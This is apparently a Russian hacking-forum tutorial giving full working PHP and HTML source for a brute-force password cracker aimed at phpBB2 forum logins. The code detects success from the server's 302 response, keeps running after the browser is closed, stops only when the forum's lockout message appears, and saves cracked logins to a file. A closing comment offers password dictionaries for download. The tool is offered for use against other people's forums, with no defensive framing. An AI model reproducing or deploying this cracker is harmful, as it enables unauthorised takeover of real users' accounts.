В phpBB2 есть возможность брута с минимум трафика, т.к в случае удачной аунтификации сервер посылает нам не стандартый 200-тый Code: 200 OK ответ, что запрос обработан и успешно выполнен, а строку с кодом 302. Благодоря этому нам не нужно брать всю страницу, чтобы узнать завершился ли успешно наш перебор, а достаточно первой строки ответа Code: 302 Found Создадим сначала интерфейс нашего брута. HTML: <html><head> <title>Брутофорс для phpBB2 от Green Bear (http://netsec.ru && http://antichat.ru)</title> <style type="text/css"> body{background-color: #323232;margin: 20px;} .div{border-style: ridge;border-color: yellowgreen;border-width: 1px;background-color: #444;padding: 5px;color: whitesmoke;font-family: Verdana, Tahoma;font-size: 11px;} input, select{border: none;background-color: #000;color: yellowgreen;} h1{margin-top: 3;} a{color: white;text-decoration: none;} </style> </head><body><div align="center"><div style="width:500px" class="div"> <h1><a href="" style="text-decoration: none;">Брутофорс phpBB2</a></h1> <form method="post" enctype="multipart/form-data"> Адрес: <input type="text" name="host" /> / <input type="text" name="path" size="10"/> Имя: <input type="text" name="login" /> <input type="checkbox" name="w" value="w" title="Ждать 4 секунды перед новый попыткой?" /><br /><br /> Из файла: <input type="radio" OnClick="file.style.display=''; load.style.display='none';" name="l" /> Загрузить: <input type="radio" OnClick="load.style.display=''; file.style.display='none';" name="l" checked /> <input type="file" name="pass" id="load" style="border:none" /> <input type="text" name="file" id="file" value="./" style="display:none" /> <br /><br />Язык форума: <select name="lang"><option value="ru">Русский</option><option value="en">Буржуйский</option></select> <input type="submit" value="Начать подбор" name="start" onClick="hide.style.display=''" /></form> Сам код. Я постарался подробно все закоментировать, чтобы не было проблем у плохознающих пхп. PHP: <?php error_reporting(E_ALL ^ E_NOTICE); //Если вы закроете браузер, то брут продолжется. ignore_user_abort(1); //Если не удалось сменить имя, то остановим скрипт, т.к дальше продолжать бессмысленно. if( !set_time_limit(0)) die('Не удалось сменить лимит времени исполнения скрипта'); if($_POST['start']){ //Если выбраны пароли из файла, то проверим его на существование. if($_POST['file']){ if(! file_exists($_POST['file']) ) die("<script>alert('Такого файла на сервере нет.');</script>"); $passwords = file($_POST['file']); }else{ //Если файл загружаем, то в случае неудачной загрузки сообщим. if (is_uploaded_file($_FILES['pass']['tmp_name'])) $passwords = file($_FILES['pass']['tmp_name']); else die("<script>alert('Ошибка при загрузке файла');</script>"); } //Проверим на существования необходимые переменные $_POST['login'] ? $login = $_POST['login'] : die("<script>alert('Не задан логин');</script>"); $_POST['host'] ? $host = $_POST['host'] : die("<script>alert('Не задан хост');</script>"); $_POST['path'] ? $path = '/'.$_POST['path'].'/' : $path = '/'; $_POST['w'] ? $w = true : $w = false; $str = ''; $b = 0; //Язык нужен для того, чтобы прекратить брут, если на форуме стоит ограничение на кол-во попыток. //Далее после 5 попытки идет поиск этой фразы на странице, если он найдена - брут останавливается. switch($_POST['lang']){ case ru: $anti = 'Максимальное количество попыток'; break; case en: $anti = 'not allowed to login'; break; } //Идем в цикл равный кол-ву срок в файле с паролями. for($i=0;$i<count($passwords);$i++){ $w ? sleep(4) : ''; $pass = trim($passwords[$i]); //Подключимся и проверим на доступность форум... $fp = fsockopen ($host, 80, $errno, $errstr, 7); //Если хост не найден, то выйдем из скрипта. if (!$fp) die("<script>alert('Не могу найти такой форум');</script>"); //Наш пост запрос.. $r = "POST ".$path."login.php HTTP/1.1 Host: $host Content-Type: application/x-www-form-urlencoded Content-Length: ".strlen("username=".$login."&password=".$pass."&login=Log+in")." username=".$login."&password=".$pass."&login=Log+in"; fputs ($fp, $r); //Теперь посмотрим... //Если попытка не 5, то перем только первую строку. if($b != 5) $str = fgets($fp, 128); //Если он 5, то скачиваем всю страницу для поиска в ней ключевой фразы //И в случае ее успешного поиска останавлиаем скрипт. else{ while(!feof($fp)){ $str .= fgets($fp, 128); } if(eregi($anti, $str)){ die('Не могу продолжить дальнейший подбор паролей, т.к исчерпаны все попытки входа <br />'); } } //Теперь смотрим на ответ сервера... // if( eregi('302 Found', $str) ){ //запишем все в файл password $p = fopen('password', 'a'); fwrite($p, "Логин: ".$login."\nПароль :".$pass."\nАдрес : ".$host."\n\n--------------\n\n"); fclose($p); $find = true; break; } $str = ''; fclose ($fp); $b++; } if( $find ) echo '<script> hide.style.display=\'none\'></script>Пароль: <b>'. $pass.'</b><br /><br />'; else echo '<script> hide.style.display=\'none\'></script><i>Не удалось найти пароль</i><br /><br />'; } ?> HTML: <div style="display:none" id="hide"><img src="http://gb.netsec.ru/process.gif" /><br /></div> © <a href="http://gb.netsec.ru/">Green Bear</a></div> </div></body></html> Статус 302 Found означает, что запрашиваемый ресурс находится по другому адресу. Вот в общем-то и все, как видим ничего сложного нету. Полезные ссылки: Протокол HTTP php.net
С пассами все сложнее.... Они попрятаны по приватам, а словари паролей продаются в интернете только за бешенные деньги=\ Мне стоило больших усилий чтобы добыть тебе парочку: Словарь 1 Словарь 2 Словарь 3 Словарь 4 (Специфически подобраны характерные пароли для разных стран)